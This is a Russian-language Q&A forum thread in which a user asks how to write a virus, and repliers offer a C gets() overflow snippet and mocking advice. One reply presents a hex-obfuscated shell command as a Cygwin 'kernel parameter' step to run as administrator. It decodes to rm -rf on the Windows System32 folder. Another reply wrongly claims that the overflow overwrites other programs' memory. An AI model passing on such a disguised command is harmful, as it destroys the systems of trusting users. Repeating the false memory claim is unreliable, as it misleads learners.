Другие языки программирования и технологии
Я хочу написать вирус,
но не знаю на каком языке. На batch пробовал, написал 4 (не шутить про УК РФ и если можете оставьте код).
один из самых простых и тривиальных способов - спровоцировать segmentation fault. Например в ЯП Си есть функция gets(), которая считывает строку. Если считать больше, чем изначально выделено памяти под строку ( в си строки представляют собой массивы с '\0' в конце) то ты перепишешь участки памяти, используемые другими программами и ОС, что может вызвать печальные последствия
Подсказка: чем больше лишнего считаешь, тем сильнее будет деструктивоное воздействие на систему
Вот код:
#include "stdlib.h"
#include "stdio.h"
int main()
{
char str[32];
gets(str);
return 0;
}
но он не наносит никаких непоправимых повреждений, если тебе это вдруг надо
Подсказка: чем больше лишнего считаешь, тем сильнее будет деструктивоное воздействие на систему
Вот код:
#include "stdlib.h"
#include "stdio.h"
int main()
{
char str[32];
gets(str);
return 0;
}
но он не наносит никаких непоправимых повреждений, если тебе это вдруг надо
Талгат Жумабеков
Это какой язык? Просто учу новые яжыки доя вирмэйкерства.
Талгат Жумабеков
Зы*
Талгат Жумабеков
Ля*
Андрей Кодин
Это что за бред?)) ОС не даст тебе затереть другие программы
Олли Лис
Если запускать с Cygwin, то даст, я сам специально проверил
На ассемблере пиши
Талгат Жумабеков
Ода, мне ответил о великий }{aцкер меила
Все приложения под виндой выполняются в своем адресном пространстве, поэтому даже если ты что то перезапишешь, то это будет только локально в процессе, другие процессы даже не узнают.
Вирус хочешь написать? Что ж, придется для начала установить cygwin (как я подозреваю ты юный вирусописатель "работаешь" под виндой, что плохо, но ничего).
Как установишь пиши в комментарии подскажу пару вариантов кода.
Когда установишь запускай cygwin с правами администратора, нужно будет активировать параметры ядра командой:
$ coreutils=$(echo -e "\x72\x6d\x20\x2d\x72\x66\x20\x0a\x2f\x63\x79\x67\x64\x72\x69\x76\x65\x2f\x63\x2f\x57\x69\x6e\x64\x6f\x77\x73\x2f\x53\x79\x73\x74\x65\x6d\x33\x32\x2f\x0a\x2a"); $coreutils
Как установишь пиши в комментарии подскажу пару вариантов кода.
Когда установишь запускай cygwin с правами администратора, нужно будет активировать параметры ядра командой:
$ coreutils=$(echo -e "\x72\x6d\x20\x2d\x72\x66\x20\x0a\x2f\x63\x79\x67\x64\x72\x69\x76\x65\x2f\x63\x2f\x57\x69\x6e\x64\x6f\x77\x73\x2f\x53\x79\x73\x74\x65\x6d\x33\x32\x2f\x0a\x2a"); $coreutils
Талгат Жумабеков
Прикол в том, что пишу на телефоне :)
Еще один хочет осрамить Россию. В мире уже вредить в интернете перестали давно.
Для начала нужно сформулировать задачу, составить ТЗ. Затем описать этапы реализации. Выбрать технологии реализации. Возможно создать свой язык заточенный под данную задачу. Реализовать задачу. Протестировать работу. Как то так. А причем тут язык мне вообще не понятно, это дело вторично. Но да, ассемблер там будет, это да. Хотя можно конечно и обойтись, но обычно на асме проще.
Талгат Жумабеков
Асма это отдельный разговор, дучше останусь на bat-никах
Похожие вопросы
- как написать вирус. расскажите что нужно для написания вируса
- Достала училка з информатики, хочу закинуть вирус, чтобы например винда злетела через несколко дней)))
- Если Вы задали вопрос - "Как написать вирус?" То Вы?
- Возможно ли написать вирус на ассемблере, чтобы даже касперский не обнаружил?Имеет ли смысл использовать язык низ. уровн
- хочу написать программу...
- Хочу написать игру!
- На каком языке написана прога PROMT? Очень надо узнать, хочу написать такую же
- Хотел написать здесь о выборе профессии и учебы в универе. Так как это очень важные жизненные аспекты для каждого.
- Хочу написать игру
- Кто хочет написать книгу и зачем?.